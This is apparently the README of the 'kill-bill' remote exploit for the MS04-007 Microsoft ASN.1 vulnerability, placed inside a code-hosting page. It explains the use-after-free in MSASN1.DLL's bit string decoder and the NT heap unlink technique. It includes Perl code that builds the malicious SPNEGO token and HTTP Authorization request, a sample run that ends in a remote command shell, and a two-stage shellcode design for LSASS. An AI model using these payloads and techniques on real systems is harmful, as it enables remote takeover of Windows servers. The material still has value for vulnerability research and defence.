📄 readme
字号:
I. IntroductionThis code exploits a previously undisclosed vulnerability in the bit stringdecoding code in the Microsoft ASN.1 library. This vulnerability is not relatedto the bit string vulnerability described in eEye advisory AD20040210-2. Bothvulnerabilities were fixed in the MS04-007 patch.II. Screenshots$ ./kill-bill.pl . kill-bill : Microsoft ASN.1 remote exploit for CAN-2003-0818 (MS04-007) by Solar Eclipse <solareclipse@phreedom.org>Usage: kill-bill -p <port> -s <service> hostServices: iis IIS HTTP server (port 80) iis-ssl IIS HTTP server with SSL (port 443) exchange Microsoft Exchange SMTP server (port 25) smb-nbt SMB over NetBIOS (port 139) smb SMB (port 445)If a service is running on its default port you don't have tospecify both the service and the port.Examples: kill-bill -s iis 192.168.0.1 kill-bill -p 80 192.168.0.1 kill-bill -p 1234 -s smb 192.168.0.1$ ./kill-bill.pl -s smb 192.168.0.1. kill-bill : Microsoft ASN.1 remote exploit for CAN-2003-0818 (MS04-007) by Solar Eclipse <solareclipse@phreedom.org>. Loading shellcode. Generating SPNEGO token SPNEGO token is 4222 bytes long.. Exploiting SMB server at 192.168.0.1:445 Sending Negotiate Protocol Request Sending Session Setup AndX request (4287) bytes. Attempting to connect to shell on port 8721Microsoft Windows 2000 [Version 5.00.2195](C) Copyright 1985-2000 Microsoft Corp.C:\WINNT\system32>III. Bit string decoding in MSASN1.DLLThe bit string heap corruption vulnerability in the Microsoft ASN.1 library wasreported by eEye on February 10, 2004. This vulnerability occurs during theprocessing of bit string with length 1 and 7 unused bits. For more detailsrefer to eEye advisory AD20040210-2.Bit strings are decoded by BERDecBitString() in MSASN1.DLL. This functionallocates a new buffer, copies the bit string into it and returns a pointer tothe data and its length in bits. Constructed bit strings (tag 0x23) are handledby calling BERDecBitString() recursively on each element and concatenating theresults. The pseudocode of BERDecBitString() is given bellow:struct BITBUF{ int length_in_bits; char* ptr;}void BERDecBitString(struct DECD *decd, struct BITBUF *bitbuf) { /* If the element is empty, return a NULL pointer in bitbuf->ptr and set bitbuf->length_in_bits to 0 */ if (ELEMENT_LENGTH = 0) bitbuf->ptr = NULL; bitbuf->length_in_bits = 0; return 1; } if (!ELEMENT_CONSTRUCTED) { /* If the element is not constructed (tag 0x03), allocate a new buffer, copy the bit string into it and return it in bitbuf->ptr */ bitbuf->ptr = alloc(ELEMENT_LENGTH); bitbuf->length_in_bits = ELEMENT_LENGTH * 8; memcpy(bitbuf->ptr, decd->data, ELEMENT_LENGTH); } else { /* If the element is constructed (tag 0x23), call BERDecConstructed to allocate 76 bytes for a new DECD object and initialize it with a pointer to the beginning of the constructed bit string. */ decd2 = BERDecConstructed(decd->data); bitbuf->length_in_bits = 0; /* Notice that bitbuf->ptr is not initialized to NULL. This is very important. */ while (MORE_DATA(decd2)) { BITBUF bitbuf2; /* Decode each of the bit strings in the constructed element */ BERDecBitString(decd2, &bitbuf2); if (bitbuf2.length == 0) continue; /* Reallocate the buffer and append each bit string to it */ bitbuf->ptr = realloc(bitbuf->ptr, bitbuf->length + bitbuf2.length); memcpy(bitbuf->ptr+bitbuf->length, bitbuf2.ptr, bitbuf2.length); free(bitbuf2.ptr); } }}Let's look at an example bit string:"\x23\x08" # constructed bit string, length=8 "\x03\x03\x00" # bit string, length=3, unused bits=0 "AA" "\x03\x02\x00" # bit string, length=2, unused bits=0 "B"For clarity we will use a representation similar to the Perl code used to buildbit strings in our exploit:constr( bits("AA"), bits("B"))When this constructed bit string BERDecBitString() will be called twice todecode the "AA" and "B" bit strings. Each time the size of the B buffer will beincreased by calling realloc and the new bit string will be appended to it.IV. The realloc() vulnerabilityThere is a problem in the MSASN1.DLL which is much easier to exploit than theeEye vulnerability. The BERDecBitString function does not properly handleconstructed bit strings which contain constructed bit strings.The following example illustrates the problem:constr( bits("AAAAAAAA"), constr( bits("BBBBBBBB") ))When BERDecBitString is called on this bit string, the bitbuf->ptr pointer isinitially NULL. Since this is a constructed element, BERDecBitString is calledagain to decode the "AAAAAAAA" bit string. It allocates a new buffer of size 8and copies "AAAAAAAA" into it. The new buffer is returned in bitbuf2->ptr. Wecall realloc(bitbuf->ptr, 8) to allocate space for the 8 bytes of data. Sincebitbuf->ptr is NULL, this call is equivalent to alloc(8). We copy the datafrom bitbuf2->ptr to bitbuf->ptr and free bitbuf2->ptr.Now bitbuf->ptr is a pointer to a 8 byte buffer containing "AAAAAAAA". Theoriginal buffer has been freed and bitbuf2->ptr points to the freed memory.We go back to the beginning of the while loop and call BERDecBitString todecode the next element, which is the second constructed bit string. Before itstarts decoding it, the function initializes bitbuf->length_in_bits to 0, butbitbuf->ptr still contains the value passed by the caller, a pointer to freedmemory. If bitbuf->ptr were initialized to NULL, as it is in the version ofMSASN1.DLL included in the MS04-007 hotfix, the vulnerability would not exist.The first element of the constructed bit string is the "BBBBBBBB" bit string,which is decoded by calling BERDecBitString. It allocates 8 bytes, copies"BBBBBBBB" into the 8 byte buffer and returns a pointer to it as bitbuf2->ptr.Then we calculate the new size of the bitbuf->ptr buffer and callrealloc(bitbuf->ptr, 8).At this point bitbuf->ptr still points to the freed memory chunk which used tocontain "AAAAAAAA". What happens when we pass a pointer to a free chunk to theNtReallocateHeap() function? It should return NULL to indicate an error, butdue to a design flaw it returns its argument. Now the program believes that ithas allocated a new buffer of size 8, but in fact it is about to overwrite thefirst 8 bytes of a freed memory chunk with the "BBBBBBBB" bit string.V. NT heap overviewThe Windows NT heap allocator is similar to the Linux malloc implementation.All available memory is split into chunks which can be either free or in use.Each chunk has a 8 byte header, containing the size of the current chunk, thesize of the previous chunk and flags. The user data starts at chunk+8.When a chunk is freed, it is coalesced with the previous and next chunks ifthey are also free. Then the chunk is inserted into a doubly linked list offree chunks. There are 127 such lists, for chunks of size 8, 16, 24, 32,up to 1016. These are called dedicated lists. Chunks larger than 1024 bytesare stored in a non-dedicated list, sorted in ascending order by their size.When an application tries to allocate some amount of memory, the dedicatedlist for the exact size is searched first. If it is empty, the list for thenext chunk size is searched and so on, until we find a free chunk or we gothrough all dedicated lists without finding one. In this case we have tosearch the non-dedicated list. The heap allocator starts at the head of thelist and follows the forward pointer until it finds a big enough chunk. Sincethe non-dedicated list is sorted by chunk size, we are guaranteed to find thesmallest chunk satisfying our request size. If there are no free chunksavailable, we have to request more memory from the kernel.The free chunk we have found is taken off the free list and marked "in use".A pointer to the user data in the chunk is returned to the application.It is important to note than the forward and backward pointers that link thechunks in a free list are stored in the first 8 bytes of the user data of achunk. This means that if we can write 8 bytes to a buffer that has alreadybeen freed, we will overwrite the linked list pointers. Once this is done,the operations of adding a chunk to the free list and removing one from thelist can be used to write to an arbitrary location in memory.VI. Constructing the exploitThere are many attack vectors for this vulnerability, but to develop thisexploit we will use the Negotiate protocol for HTTP authentication, describedin http://msdn.microsoft.com/library/en-us/dnsecure/html/http-sso-2.aspWe will build a SPNEGO token containing a specially crafted constructed bitstring, encode it in Base64 and send it as a part of a HTTP GET request. Thedefault IIS configuration allows Windows authentication and our SPNEGO tokenwill be passed to MSASN1.DLL for decoding.$bitstring = constr( bits("a"x1040), "\x03\x00", constr( bits("B"x1033), constr( bits($fw, $bk) ), constr( bits("C"x1040), constr( bits("\xeb\06\x90\x90\x90\x90\x90\x90"), bits("D"x1040), ) ) ) );$spnego = "\x60" . asn1( # Application Constructed Object "\x06\x06\x2b\x06\x01\x05\x05\x02" . # SPNEGO OID "\xa0" . asn1( # NegTokenInit (0xa0) "\x30" . asn1( # Constructed Sequence "\xA1" . asn1( # ContextFlags (0xa1) $bitstring ) ) ) );$request = "GET / HTTP/1.1\r\n" . "Authorization: Negotiate " . encode_base64($spnego, "") . "\r\n" . "\r\n";The bit string used in the exploit is complicated due to the fact that we needthe ASN.1 decoder function to perform a specific sequence of memory allocationsin order to corrupt the heap but not crash the application.This exploit is different from most Windows heap exploit because we can controlthe memory allocation pattern of the decoder by supplying it with bit stringsof different length. This allows us to do multiple arbitrary 4 byte overwritesand exploit the vulnerability with a high degree of reliability.The desired sequence of memory operations is given bellow:free(B)memcpy(B, "AAAABBBB", 8);alloc(size of B)memcpy(B, "CCCCDDDD", 8)free(B)alloc(size of B)After we overwrite the FW and BK pointers of a freed block, we allocate a blockof the same size. The NtHeapAllocate() function walks the linked list of freeblocks and reaches the block with the overwritten pointers. Since it satisfiesthe request size it is removed from the linked list, marked as in-use andreturned to the application. If the overwritten FW and BK pointers point towritable memory the unlink operation will succeed, but the block will still beon the free list.When the block is freed, the NtFreeHeap() function walks the linked listof free blocks until it finds a block of equal or greater size. Then the freedblock is inserted into the linked list in front of that block. In our case theblock we're freeing will still be on the free list, so it will be the block wefind.When NtFreeHeap() inserts a block into the free list, it manipulates threeblocks, labeled A, B and C. Block B is to be inserted between A and C. Thecode to do this is given bellow: B->fw = C B->bk = C->bk C->bk->fw = B C->bk = BIn our case blocks B and C are the same, so the code is equivalent to B->fw = B B->bk = B->bk B->bk->fw = B B->bk = BAssuming the address of B is in ebx, the executed instructions will have thesame effect as mov [ebx], ebx mov eax, [ebx+4] mov [eax], ebx mov [ebx+4], ebx This code writes the address of the block we are freeing into the locationspecified by the value at block+4. The ability to write the address of ourblock to an arbitrary address in memory makes it very easy to write a reliableexploit.In our exploit we overwrite the FastPebLockRoutine pointer at PEB+0x20. If weallow the program to continue its execution, our shellcode buffer may be freedor overwritten before the program calls the FastPebLockRoutine. That's why wemake the final allocation request for a block of the same size as our shellcodeblock. During the search for a suitable free block, NtAllocateHeap() finds theshellcode block (which is still on the free list) and attempts to unlink it. Ifwe make sure that the first two dwords in the shellcode point to invalid memoryspace (such as 0x90909090), an exception will occur.The exception is handled by an exception handler in LSASRV.DLL, which writesthe following to the EventLog:"The security package Negotiate generated an exception. The package is nowdisabled."One of the functions involved in writing to the event log locks the PEB bycalling the FastPebLockRoutine, which now points to our shellcode.After the Negotiate protocol is disabled the system keep running, butinteractive logins fail.VII. ShellcodeThis vulnerability presents specific requirements for our shellcode which makeit impossible to use a generic payload. During the execution of the exceptionhandler the LSASS.EXE process is blocked and unable to serve any authenticationrequests. If our shellcode executes a process or uses a system function whichsends a request to Local Security Authority, a deadlock will occur. IfLSASS.EXE is killed the system will reboot. It is very important that theexception handler in LSASS is allowed to continue its execution.To accomplish this our shellcode is split in two stages. Stage 0 restores theFastPebLockRoutine pointer and repairs the heap. The stage 1 shellcode is thenexecuted in a new thread. In the parent thread the stage 0 shellcode jumps toRtlEnterCriticalSection and the execution of the exception handler continueswithout any trace of being exploited.There are almost no restrictions on what the stage 1 shellcode can do, as longas it does not crash the process it is running in. After the shellcodecompletion it should terminate its thread by calling ExitThread or simplyexecute a return instruction.VII. NotesThe exploit has been tested and is known to work on Windows 2000 SP2, SP3, SP4and Windows XP SP0 and SP1.On Windows 2000 SP0 and SP1 the FastPebLockRoutine pointer is overwritten, butit is never called by LSASS.EXE. An alternative exploitation method, such asoverwriting the unhandled exception handler has to be used.TODO:* alternative exploitation method for Win2k SP0, SP1 and Win2003* SSL support* support for Microsoft Exchange* does Exchange support SPNEGO over POP3 and IMAP ?
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -